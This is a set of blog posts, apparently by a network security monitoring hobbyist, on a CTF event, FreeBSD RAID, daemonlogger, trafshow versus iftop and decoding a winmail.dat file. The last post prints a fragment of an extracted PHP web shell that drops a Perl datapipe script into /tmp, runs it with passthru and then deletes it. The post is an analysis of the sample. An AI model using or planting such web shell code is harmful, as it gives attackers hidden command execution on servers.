I haven't have time to update my blog till today, the first two day before Conference, I was running a training with mel in Dubai, interestingly I have mix kind of people in my training class. I met guys from US Army and they are really cool folks, and most of people in the class are involved in network security field and that makes it more easy to run and involved.

Anyway the training was over, so the first day of conference topics cover various kind of areas. The keynote speech from Mikko(F-Secure) was decent, he has demonstrated F-Secure technology and how the online criminals can be operated via different kind of technologies and tricks around, I haven't really get into all the other talks but those should be interesting to listen to, I plan to download the presentation videos instead and watch it when I'm free. Anyway we have Capture The Flags Game going on simultaneously, there are totally 7 levels in the game and unfortunately no one has cracked the 0 level in the first but we think this is kind of fun. The game has nothing to do with network hacking but more on reverse engineering, looking for bugs in application(buffer/heap overflow, format strings and so forth), all the binaries will soon be published and anyone are welcomed to have fun with it.

The second day of conference started by the keynote speech from Lance Spitzner(if you don't know this guy and apparently you are not into information security world), he talked about honeypot technology. Another talk that I have listened to is Kernel Hacking: If I really know I can hack from Hc2c guys, Rodrigo Rubira Branco and Domingo Montanaro are really cool folks and both of them talked about Kernel IDS stuff, I got chance to talk with them and they are pretty interested in our CTF game as well. I'm looking forward to go to HC2Conference in Brazil if possible.

The CTF games end up without winners as no one has broken 4 levels in the game, however I guess this is good learning experience for everyone and thanks to all the participants and hopefully they have fun. Credits go to Mel, xWings and Rd who making the game happened.

While Rd can't make it to Dubai, we all love you!

Kudos to all HITB crews to make the event successful again.

Cheers ;]

You love SPAM, don't you?

I was wondering why this similar spam email can bypass google email filtering, and it seems the spammer applies the really simple method, there's no single word that can be filtered from the message, in fact the creative spammer just attached this small jpeg file which contains interesting link -

This is where curiosity kills :P


If you need it, feel free to buy. I'm out of this business.

Enjoy ;]

Kivio - My Home Network Diagram

There are not many alternatives available when comes to producing clean network diagram in Open Source Arsenal, I know many people like to use Microsoft Visio for its user friendliness and the stencil set that are rich and complete. For simplicity, I don't use any tools that are mentioned here either, in fact I use kivio which you can find here -

http://www.thekompany.com/projects/kivio/

The screenshot below shows the user interface of kivio, it is actually part of Koffice(with the prefix K as always), Of course I won't show how I use it to draw network diagram, it is so easy that you can quickly learn it by clicking - adding stencil, drag and drop, highlight and you are done.

Here's the network diagram that I have created for my home network with simple Network Security Monitoring deployment. I think you can draw more complicated network diagram once you are handy with it.

The network diagram looks clean right, you can just install kivio on Gentoo Linux with -

shell>sudo emerge -v kivio

Now you can start to get your hand dirty with the application.

Enjoy ;]

FreeBSD Gstripe

I decided to try out raid0 with FreeBSD gstripe and it seems to be a pretty easy and quick setup. I have 6 disks in this setup, first one will be the primary and installed with the OS, and I will combine all the other 5 disks and building the raid0 with striping for it.

shell>gstripe label -v -s 131072 nsm \
/dev/ad2 /dev/ad3 /dev/ad4 /dev/ad5 /dev/ad6 /dev/ad7

I constructed UFS2 file system with soft-updates enabled.

shell>newfs -U /dev/stripe/nsm

After it is done, I just mount it to /nsm -

shell>mount /dev/stripe/nsm /nsm

Then enable gstripe on system boot -

shell>echo 'geom_stripe_load="YES"' >> /boot/loader.conf

Add it to mount on boot -

shell>echo '/dev/stripe/nsm /nsm ufs rw 2 2' >> /etc/fstab

Thanks to chflags for pointing out, I just did simple benchmarking and it is kinda impressive though.

shell>time dd if=/dev/zero of=/nsm/test.img bs=1M count=1024
1024+0 records in
1024+0 records out
1073741824 bytes transferred in 8.884599 secs (120854281 bytes/sec)

real 0m8.907s
user 0m0.001s
sys 0m5.446s

Cheers ;]

Network Interface: Watchdog Timeout

My Sguil Demo Server is down, as I have no luck to recover it from hardware failure(something to do with mobo) as it is very old by now. I have unplugged the hard drive and insert it into another Pentium 3 box which was lying around.

Wonderfully, it seems that the OS boots up properly, and in less than 5 minutes, I see this error -

rl0: watchdog timeout

I'm thinking that maybe problem of the network interface, I swap it and change the network interface to another network interface which is xl0 in FreeBSD, reboot again and I see this -

xl0: watchdog timeout

As long as I bring up the interface, it shows watchdog timeout, I try to navigate my irq setting in bios but it seems alright, at last I try to google for luck and I found this link -

http://www.linuxquestions.org/questions/showthread.php?t=519599

I tried to boot it without acpi, and the watchdog timeout message is gone and now the network interfaces work properly. However it is cumbersome as it is always boot with acpi enabled, hence I need to add this one liner to disable acpi on boot -

shell>echo 'hint.acpi.0.disabled=1' > /boot/loader.conf

Everything seems to be all right now, and I have change my Sguil setup as well. Using daemonlogger, I have exported the pcap file from my home router to the sguil box. Sguil box has two network interfaces, one(promisc) will intercept the pcap data that transmitted by daemonlogger and another will be management interface where everyone can connect to.

Kudos to myself that the demo server is up again!

Cheers (;])

G Hotel

I just been to the seminar that organized by Mutiara Company, it is held at here -

http://www.ghotel.com.my/

The seminar is targeting Small & Medium Industry, seriously I'm not really interested in it as it is more business centric than discussing about the technology itself.

However I really love this hotel, the design rocks.

Cheers ;]

Sguil: New Face

Sguil has new face now, comparing to the old face, this looks more cleaner! You can check it out here -

http://sguil.sf.net


Enjoy ;]

Syn DOS: Countermeasures

I just got chance to read the Internet Protocol Journal that sent to me which you can find it here. The topic regarding "Defenses against TCP Syn Flooding Attacks" looks interesting to me, it discussed about multiple syn flooding types and the host/network based countermeasures against TCP Syn Flooding.

For the network based countermeasures, it seems to be very popular these days to shut down mass ddos attacks. Ingress filtering and inline(firewall/proxy) are preferred methods when defending against ddos attack. Since I love OpenBSD PF, I would suggest you take a look at these two links which offer you similar defending mechanisms but cost you almost nothing -

http://www.openbsd.org/faq/pf/filter.html#urpf

http://www.openbsd.org/faq/pf/filter.html#synproxy

About host based countermeasures, it introduces syn cache and syn cookies, I have never understood that much about how actually syn cache or cookies works until I have read it, however if you want to know more about it, you can download another paper which explaining the implementation of both mechanisms -

http://www.ece.cmu.edu/~adrian/731-sp05/readings/lemon-syn-cache.pdf

I checked out the sysctl of my FreeBSD box -

shell>sysctl -a | egrep 'syn(cache|cookie)'
syncache 1 8K - 1
syncache: 100, 15366, 0, 117, 3284
net.inet.tcp.syncookies: 1
net.inet.tcp.syncache.bucketlimit: 30
net.inet.tcp.syncache.cachelimit: 15359
net.inet.tcp.syncache.count: 0
net.inet.tcp.syncache.hashsize: 512
net.inet.tcp.syncache.rexmtlimit: 3

Interestingly, both are implemented in FreeBSD. Clear enough, you don't really need 999999999999 dollars to implement and build effective mechanisms to defend against DDOS, remember Open Source is always your friend.

Enjoy ;]

Some Notifications

Currently my sguil demo server is down, if you have difficulty in connecting to my demo server, please be patient. The problem due to the hardware failure and I will fix it when I have time(probably next week).

Another thing should be the dead link to www.dissectible.org. I have shifted it and it is now having a new name called www.rawpacket.org. Many people unable to find the stuffs that I have uploaded previously and it is now at -

http://www.rawpacket.org/anonymous/

If any of you are good web developer, and you would like to contribute to open source and security community, please do contact me as I really need some helping hands. You can reach me at -

geek00l[at]gmail[dot]com

Enjoy ;]

Daemonlogger: let's log

Marty(Snort) has written a packet logger/soft tap which is called daemonlogger where you can download here -

http://www.snort.org/dl/daemonlogger/daemonlogger-0.7.tar.gz

I haven't looked into it yet until I have talked to him today, thus I just downloaded and installed it with pretty straight forward steps -

shell>./configure --prefix=/usr/local/stow/daemonlogger-0.7

shell>make && make install

shell>cd /usr/local/stow

shell>stow daemonlogger-0.7

Checking daemonlogger version -

shell>daemonlogger -v

-*> DaemonLogger <*- Version 0.7 By Martin Roesch (C) Copyright 2006-2007 Sourcefire Inc., All rights reserved

shell>daemonlogger -h
USAGE: daemonlogger [-options]
-c Log packets and exit
-d Daemonize at startup
-f Load BPF filter from
-h Show this usage statement
-i Grab packets from interface
-l Log to directory
-m Generate log files and quit
-n Set output filename prefix to
-o Disable logging, retransmit data from
to
-p Use (path and filename)
-s Rollover the log file every
-t Rollover the log file every
-v Show daemonlogger version

shell>daemonlogger -i rl1 -o vr0 -p /nsm/daemonlogger-rl1.pid -d
[-] Interface set to rl1
[-] Tap output interface set to vr0[-] Pidfile configured to "/nsm/daemonlogger-rl1.pid"
[-] Daemon mode set

-*> DaemonLogger <*- Version 0.7 By Martin Roesch (C) Copyright 2006-2007 Sourcefire Inc., All rights reserved trinity:/nsm# tcpdump -i vr0 tcpdump: WARNING: vr0: no IPv4 address assigned tcpdump: listening on vr0, link-type EN10MB 17:44:22.340032 pr-in-f19.google.com.www > 192.168.0.155.2660: P 4107897218:4107897246(28) ack 3442614823 win 7200
17:44:22.340042 192.168.0.155.2660 > pr-in-f19.google.com.www: . ack 28 win 7504 (DF)
17:44:25.340047 192.168.0.155.4024 > pr-in-f19.google.com.www: . 4081159920:4081161360(1440) ack 3322996791 win 44330 (DF)
17:44:25.340062 192.168.0.155.4024 > pr-in-f19.google.com.www: P 1440:1766(326) ack 1 win 44330 (DF)
17:44:25.340073 192.168.0.155.1617 > zelazny.freenode.net.6667: P 1979289541:1979289553(12) ack 1468261941 win 16022 (DF)

The daemonlogger also supports pcap file rollver based on size and time, this is pretty useful to avoid writing external support scripts for it. I like this similar feature since I have used tethereal.

You can also deploy similar kind of setup that has been done by Richard which is described here using PF or in his Extrusion Detection book -

http://taosecurity.blogspot.com/2005/07/distributed-traffic-collection-with-pf.html

Just build a router box with 4 Network Interfaces(sk0-sk3) -

Router
External Interface(sk0) - Internet Facing
Internal Interface(sk1) - Internal Network

Soft tap
sk2 - Only watches port 80 traffics
sk3 - Monitor everything except port 80

Writing simple bpf filter to the file -

shell>echo 'port 80' > sensor-sk2.fil

shell>echo '! port 80' > sensor-sk3.fil

Running daemonlogger in soft tap mode -

shell>daemonlogger -f sensor-sk2.fil -i sk0 -o sk2 -d

shell>daemonlogger -f sensor-sk3.fil -i sk0 -o sk3 -d

All the port 80 traffics wil be transmitted to sk2 interface and the rest will be transmitted to sk3 interface. It is so simple to build distributed sensor/traffic collectors with daemonlogger.

Done.

Tag Richard's words -

One would have hoped the Pf dup-to function could send traffic to directly connected interfaces without the involvement of any IP addresses. Unfortunately, my testing revealed that assigning IP addresses to interfaces on both sides of the link is required.

The answer is daemonlogger, have fun!

Enjoy (;])

Linux: Mac Filtering

I remember I have used OpenBSD in network bridge mode for Mac Address Filtering. I'm wondering is there possible to do Mac Address Filtering on Linux, and apparently it is not too hard once I have figured it out, it is pretty straight forward with quick kernel recompiling. Here's my note of doing it on Gentoo linux -

Checking if it is already compiled as module -

shell>egrep -i 'mac' /usr/src/linux-2.6.19-gentoo-r5/.config
CONFIG_NETFILTER_XT_MATCH_MAC=m

Since it is there, I need to know the module name, to locate it -

shell>sudo find /lib/modules/2.6.19-gentoo-r5/ -type f -name '*mac*'
/lib/modules/2.6.19-gentoo-r5/kernel/net/netfilter/xt_mac.ko

Loading the LKM -

shell>sudo modprobe xt_mac

Checking to see if the module is loaded properly -

shell>lsmod
Module Size Used by
xt_mac 2048 0
x_tables 14852 1 xt_mac

Now I just need to add it as well as the userland tool for netfilter - iptables since it is needed.

shell>echo "xt_mac" >> /etc/modules.autoload.d/kernel-2.6

shell>echo "iptable_filter" >> /etc/modules.autoload.d/kernel-2.6

Installing iptables userland tool -

shell>sudo emerge -v iptables

Once all the stuffs needed are loaded, we can start to test on the Mac Address Filtering. To block every single bits from the host with mac address 00:19:D1:2F:71:B5, I just run this -

shell>sudo iptables -A INPUT -m mac --mac-source 00:19:D1:2F:71:B5 -j DROP

That's pretty straight forward. To flush the INPUT chain after testing -

shell>sudo iptables -F INPUT

This is just quicky, hopefully I can get more handy later on iptables because I haven't used it for quite sometimes.

Enjoy ;]

FreeBSD Openntpd

Previously I have shown the Openntpd setup on Gentoo, here's how you can quickly set it up on FreeBSD. Please do take note that this is more of ntp client type setup.

shell>pkg_add -vr openntpd

Configuring Openntpd by editing /usr/local/etc/ntpd.conf, just comment out the default ntp server and add the ntp server you want.

# sync to a single server
#server ntp.example.org

server ntp.jaring.my
server ntp.time.net.my

Add this one liner to /etc/rc.conf for it to run on system boot -

openntpd_enable="YES"

Start Openntpd manually now -

shell>/usr/local/etc/rc.d/openntpd.sh start

Done.

Enjoy :]

BackTrack 2 Sec LiveCD

For people who didn't notice, BackTrack 2 Sec LiveCD is out, you can check it out at -

http://www.remote-exploit.org/backtrack.html

Other than the LiveCD itself, I found the Codes&Tools and Research section pretty interesting especially the one that introducing wireless filter for ethereal/wireshark where you can find here -

http://www.remote-exploit.org/research/etherealwirelessfilters.html

Just download it now and you are fully equiped with all the useful security tools.

Peace ;]

Sguil Current - Demo Server

You may have noticed that the Sguil demo server that I run in dead state for quite sometimes. With some clues from Bamm, I able to get Sguil in CVS up and running, all of you are welcomed to test it out again, however you need sguil client in latest CVS as well in order to connect the Sguil demo server.

The Sguil demo server details are shown below -

Hostname: nsm.kicks-ass.org

Port:7734

Username: ninja

Password: blank

If you have sguil client crashes when playing around with it, please do save the error messages to the log and send it to sguil mailing list.

Here's the quick screenshots, you may notice that now all the agents are separated. The biggest feature in the Sguil Current should be PADS integration, you may see the PADS entries in the third pane.

New sguil client console

Sguil server and sensor Agents processes

Have fun!

Cheers :]

NSM: Trafshow vs Iftop

While we have many choices in Open Source world, it is tricky to choose a right one, everything down to the feet of what you want to do with it. There are many tools I like when monitoring network flow statistic in real time that are considered non-web based but cursed. However here I would like to make a comparison between two interesting tools which are trafshow and iftop.

Trafshow offers few unique functions that is are available via other tools, it has the features below -

- Colorization
- flow aggregation based on netmask length -a|A
- string tracing /|Ctrl-/
- bpf filter expression on the fly -f|F
- import cisco netflow data -u 9995
- hex data view on the fly

To learn how trafshow works, when we run trafshow without any arguments, it will monitor all the network interfaces available to you, you need to choose one to monitor.

shell>trafshow

Interface Address Description

em0 0:11:22:33:44:55 Ethernet
rl0 0:22:33:44:55:66 Ethernet
sk0 0:33:44:55:66:77 Ethernet
lo0 127.0.0.1 Loopback

By default it will aggregate the traffics based on guessed network id, here's the screenshot -

Thus if you want the exact ip address shown in trafshow, you need to run with netmask length of 32 -

shell>trafshow -a 32

The flexibilities of flow aggregation based on netmask length allows you to monitor the traffic from networks to networks and nodes to nodes, this creates very powerful capabilities when combining with the bpf filter expression, you can specify bpf filter expression by reading it from a file using -F, the good thing about it is that you can also directly inject the bpf filter expression by pressing f key when you are in trafshow monitor console.

Filter expression:port 80

Trafshow stores its color attributes in either /usr/local/etc/trafshow or ~/.trafshow. You can tune them easily, I always like to tune it for better view of the traffic, for example if I would like to watch the outgoing traffic from my DMZ network(172.16.1.0/24) for possible extrusion, I can just add this few lines to the configuration file -

# Private IP Addresses will be alarmed by Red foreground.
# Source Destination Color

172.16.1.0/24 any Red
any 172.168.1.0 Blue

With this kind of setup, all incoming traffics will be in blue colour and outgoing traffics will be in red, other useful color tuning will be based on port, if you want to monitor your network in case they are connecting to the irc bot network, you can specify -

6667 cyan # irc
6668 cyan # irc

Again you can easily combine features in trafshow to make more sense in monitoring, just specify this filter in trafshow monitor helps a lot -

Filter expression: src net 172.168.1.0/24 and dst portrange 6660-6670

Another useful function is string tracing, you can specify string that found in the traffic flow and keep watching it, just press / key and specify it, for example -

/yahoo

If yahoo string is shown in trafshow monitor, it will be highlighted all the while and you can easily keep your eye on it. You can disable it by pressing Control /.

I have actually inteprete Cisco Netflow using -u option before, it works pretty well though. Since I didn't take a screenshot previously, thus I can't show it here. There are many functions in trafshow that you can easily enable and disable using toggle key such as name/port resolution can be enabled or disabled via n key, changing netmask length via A key and so forth.

The last feature that I found really powerful is the traffic hex view, this gives you the feeling of MATRIX movies especially when you catch traffics that are considered malicious, here's the screenshot I have, you just need to press enter after choosing the traffic flow in order to access the network stream -

Iftop on the other hand offers the functions below -

- src|dst aggregation s|d
- logarithmic traffic bar -b
- bits|bytes per how many seconds cycle -B
- net filter(bpf filter expression) -f|f
- screen filter(regex expression) l

The main configuration of iftop is ~/.iftoprc, if you have multiple network interfaces in the same host that monitoring different networks, I suggest you put all the configurations in .iftoprc except interface and net-filter variable, you can learn more about it by reading the man page of iftop. Then putting iftop commands in different scripts for different network interfaces, for example -

shell>echo 'iftop -i eth0 -F 172.16.1.0/24' > iftop-eth0

shell>echo 'iftop -i eth1 -F 172.16.2.0/24' > iftop-eth1

shell>chmod +x iftop-eth*

Now you just run the script for the interface you want to monitor. All other attributes are better to be stored in ~/iftoprc, you can easily tune it for your network environment.

There's one feature I like about iftop, the traffic bar(white color) where it shows the logarithmic scale, you can easily identify which host are consuming more bandwidths in current time. Here's the screenshot -

If you just want to view the aggregated traffics from either source or destionation, trigger s or d in iftop monitor console will do. This allows you to monitor total bandwidths of certain source/destination IP per any port. The dns resolution can be turn on or off by pressing n key. You can also change to show the bits/bytes per how many seconds, it offers 2s, 10s and 40s cycle.

Similar to trafshow, it has net filter where you can either specify it using -f in command line option or pressing f key to enter the bpf filter expressions, for example -

Net filter > port 53

Now you can just monitor dns traffic. For the screen filter which allows you to use regular expressions, it works similarly to trafshow strings search too, you just need to press l key in iftop monitor and it will show -

Screen filter> smtp

This will allows you to look at the smtp traffic if you have mail traffics flowing around.

Sometimes you prefer to run iftop with proper options in command line instead of changing its behaviour in the iftop monitor, you can do so. For example you want to apply bpf filter for ftp traffic.

shell>iftop -i rl0 -f port 20 or 21 -F 192.168.5.0/24
iftop: found arguments following options
*** some options have changed names since v0.9 ***
iftop: display bandwidth usage on an interface by host

Synopsis: iftop -h | [-npbBP] [-i interface] [-f filter code] [-N net/mask]

-h display this message
-n don't do hostname lookups
-N don't convert port numbers to services
-p run in promiscuous mode (show traffic between other
hosts on the same network segment)
-b don't display a bar graph of traffic
-B Display bandwidth in bytes
-i interface listen on named interface
-f filter code use filter code to select packets to count
(default: none, but only IP packets are counted)
-F net/mask show traffic flows in/out of network
-P show ports as well as hosts
-m limit sets the upper limit for the bandwidth scale
-c config file specifies an alternative configuration file

iftop, version 0.17

It seems doesn't work and show all the command options instead, thus I tried to enclose it with single quote -

shell>iftop -i rl0 -f 'port 20 or 21' -F 192.168.5.0/24

Here's it goes, it works properly and check out the screenshot -

Overall trafshow has almost all the features that are available in iftop, I prefer trafshow as it has the colorization feature and the capability to read netflow data, this is making reactive network security monitoring can be done without much delays, the hex data view of network stream also makes it terrific in performing real time incident response(You are not watching flow statistic only but full content data in real time). The only advantage of using iftop over trafshow should be the traffic direction that shown in the monitor, this makes a lot of sense when you want to monitor the traffic and it is more bidirectional oriented.

Both tools are incredibly useful and have their pros and cons. At the end, it is about preference sometimes.

Peace (;])

Transport Neutral Encapsulation Format

Someone has sent this file to me and telling me that something is wrong with this file, the file name is winmail.dat. I was wondering what's is contained in the file and as usual I check on the file type -

shell>file winmail.dat
winmail.dat: Transport Neutral Encapsulation Format

I haven't seen this file type before, while I'm wondering why, wiki seems to answer my question in pretty details -

http://en.wikipedia.org/wiki/Transport_Neutral_Encapsulation_Format

Okay, so I have never been a Outlook user, now I need to look at how to decode the file properly, I found this simple trick using tnef,

shell>eix tnef

net-mail/tnef
Available versions: 1.3.3 1.3.4 ~1.4.3
Installed: 1.3.4(18:07:41 02/22/07)
Homepage: http://world.std.com/~damned/software.html
Description: Decodes MS-TNEF MIME attachments

Eix is gentoo tool that similar to debian apt-cache which allows you to search for the applications in the portage, installing it is pretty quick -

shell>emerge -v tnef

Once it is installed, I can easily list the attachment in the TNEF file -

shell>tnef -f winmail.dat -t
css.php

To extract the attachment and save the message in the body into the desired directory, I just need to run -

shell>tnef -f winmail.dat --save-body -C tnef-dir/

shell>cd tnef-dir/

shell>/tnef-dir $ ls -al
total 100
drwxr-xr-x 2 geek00l geek00l 4096 Feb 22 18:17 .
drwxr-xr-x 44 geek00l geek00l 4096 Feb 22 18:10 ..
-rw-r--r-- 1 geek00l geek00l 82942 Feb 22 18:17 css.php
-rw-r--r-- 1 geek00l geek00l 1454 Feb 22 18:17 message.rtf

Here's the partial contents in css.php that looks interesting -

if(is_writable("/tmp")){
$fp=fopen("/tmp/nst_perl_datapipe.pl","w");
fwrite($fp,"$datapipe_pl");
passthru("perl /tmp/nst_perl_datapipe.pl &");
unlink("/tmp/nst_perl_datapipe.pl");
}else{
if(is_writable(".")){
mkdir(".nst_datapipe_tmp");
$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
fwrite($fp,"$datapipe_pl");
passthru("perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
rmdir(".nst_datapipe_tmp");
}
}

I just learned the new file format and the way to read TNEF file without using Windows, have fun!

Enjoy (;])